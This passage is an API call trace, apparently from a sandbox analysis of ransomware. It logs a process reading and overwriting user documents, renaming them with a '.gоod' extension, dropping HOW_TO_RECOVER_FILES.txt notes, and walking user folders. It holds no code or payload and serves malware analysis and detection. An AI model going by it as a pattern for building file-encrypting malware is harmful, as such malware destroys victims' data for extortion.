lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx", lpFilePart=0x0) returned 0x3b [0249.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0249.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\vrurluhrnm5ihe5eikr.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0249.747] GetFileType (hFile=0x768) returned 0x1 [0249.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0249.747] GetFileType (hFile=0x768) returned 0x1 [0249.747] WriteFile (in: hFile=0x768, lpBuffer=0x3721aa0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3721aa0*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0249.747] CloseHandle (hObject=0x768) returned 1 [0249.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx", lpFilePart=0x0) returned 0x3b [0249.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx.gоod", lpFilePart=0x0) returned 0x40 [0249.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0249.748] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\vrurluhrnm5ihe5eikr.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5a0a30, ftCreationTime.dwHighDateTime=0x1d4cec5, ftLastAccessTime.dwLowDateTime=0xfd5ace40, ftLastAccessTime.dwHighDateTime=0x1d4d0e2, ftLastWriteTime.dwLowDateTime=0x9112a935, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1520d)) returned 1 [0249.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0249.748] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\vrurluhrnm5ihe5eikr.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\vrUrLUHrnm5Ihe5eIKR.pptx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\vrurluhrnm5ihe5eikr.pptx.gоod")) returned 1 [0249.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv", lpFilePart=0x0) returned 0x2e [0249.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0249.749] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\xuxfoym.csv"), fInfoLevelId=0x0, lpFileInformation=0x3862ff8 | out: lpFileInformation=0x3862ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb81700, ftCreationTime.dwHighDateTime=0x1d4c992, ftLastAccessTime.dwLowDateTime=0xd55249f0, ftLastAccessTime.dwHighDateTime=0x1d4c7cd, ftLastWriteTime.dwLowDateTime=0xd55249f0, ftLastWriteTime.dwHighDateTime=0x1d4c7cd, nFileSizeHigh=0x0, nFileSizeLow=0x1371d)) returned 1 [0249.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0249.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv", lpFilePart=0x0) returned 0x2e [0249.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0249.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\xuxfoym.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0249.749] GetFileType (hFile=0x768) returned 0x1 [0249.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0249.749] GetFileType (hFile=0x768) returned 0x1 [0249.749] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0249.749] ReadFile (in: hFile=0x768, lpBuffer=0x38633a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x38633a0*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0249.750] CloseHandle (hObject=0x768) returned 1 [0249.750] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv", lpFilePart=0x0) returned 0x2e [0249.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0249.750] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\xuxfoym.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0249.750] GetFileType (hFile=0x768) returned 0x1 [0249.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0249.750] GetFileType (hFile=0x768) returned 0x1 [0249.750] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1371d [0249.750] WriteFile (in: hFile=0x768, lpBuffer=0x3864600*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3864600*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0249.750] CloseHandle (hObject=0x768) returned 1 [0249.750] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv", lpFilePart=0x0) returned 0x2e [0249.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0249.750] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\xuxfoym.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0249.751] GetFileType (hFile=0x768) returned 0x1 [0249.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0249.751] GetFileType (hFile=0x768) returned 0x1 [0249.751] ReadFile (in: hFile=0x768, lpBuffer=0x3866888, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3866888*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0249.955] CloseHandle (hObject=0x768) returned 1 [0249.955] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv", lpFilePart=0x0) returned 0x2e [0249.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0249.955] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\xuxfoym.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0249.955] GetFileType (hFile=0x768) returned 0x1 [0249.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0249.955] GetFileType (hFile=0x768) returned 0x1 [0249.955] WriteFile (in: hFile=0x768, lpBuffer=0x37a99e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x37a99e8*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0249.955] CloseHandle (hObject=0x768) returned 1 [0249.956] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv", lpFilePart=0x0) returned 0x2e [0249.956] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv.gоod", lpFilePart=0x0) returned 0x33 [0249.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0249.956] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\xuxfoym.csv"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb81700, ftCreationTime.dwHighDateTime=0x1d4c992, ftLastAccessTime.dwLowDateTime=0xd55249f0, ftLastAccessTime.dwHighDateTime=0x1d4c7cd, ftLastWriteTime.dwLowDateTime=0x9131a8e3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1372d)) returned 1 [0249.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0249.956] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\xuxfoym.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\xUXfOyM.csv.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\xuxfoym.csv.gоod")) returned 1 [0249.958] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3b [0249.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0249.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ef1p127p\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\ef1p127p\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0249.959] GetFileType (hFile=0x768) returned 0x1 [0249.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0249.959] GetFileType (hFile=0x768) returned 0x1 [0249.960] WriteFile (in: hFile=0x768, lpBuffer=0x3883038*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3883038*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0249.960] CloseHandle (hObject=0x768) returned 1 [0249.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0249.960] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0249.960] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Music\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0249.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede80) returned 1 [0249.963] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Music\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Music\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3b [0249.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0249.963] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Music\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\my music\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0249.964] GetFileType (hFile=0x768) returned 0x1 [0249.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0249.964] GetFileType (hFile=0x768) returned 0x1 [0249.965] WriteFile (in: hFile=0x768, lpBuffer=0x3893678*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3893678*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0249.965] CloseHandle (hObject=0x768) returned 1 [0249.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0249.965] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0249.965] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Pictures\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0249.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede80) returned 1 [0249.967] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Pictures\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Pictures\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0249.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0249.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Pictures\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\my pictures\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0249.969] GetFileType (hFile=0x768) returned 0x1 [0249.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0249.969] GetFileType (hFile=0x768) returned 0x1 [0249.969] WriteFile (in: hFile=0x768, lpBuffer=0x38a3ce0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x38a3ce0*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0249.970] CloseHandle (hObject=0x768) returned 1 [0249.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0249.970] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes", lpFilePart=0x0) returned 0x23 [0249.970] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0250.098] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.098] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0250.098] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1a0f60e, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1a0f60e, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vssx", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0250.098] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0250.098] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0250.098] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0250.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0250.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0250.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0250.099] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes", lpFilePart=0x0) returned 0x23 [0250.099] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0250.099] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.099] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bea8c6, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0250.099] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1a0f60e, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1a0f60e, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites.vssx", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0250.099] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0250.099] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0250.100] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0250.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0250.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0250.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0250.100] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x2c [0250.100] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xd44481c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0250.101] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xc1bc4716, 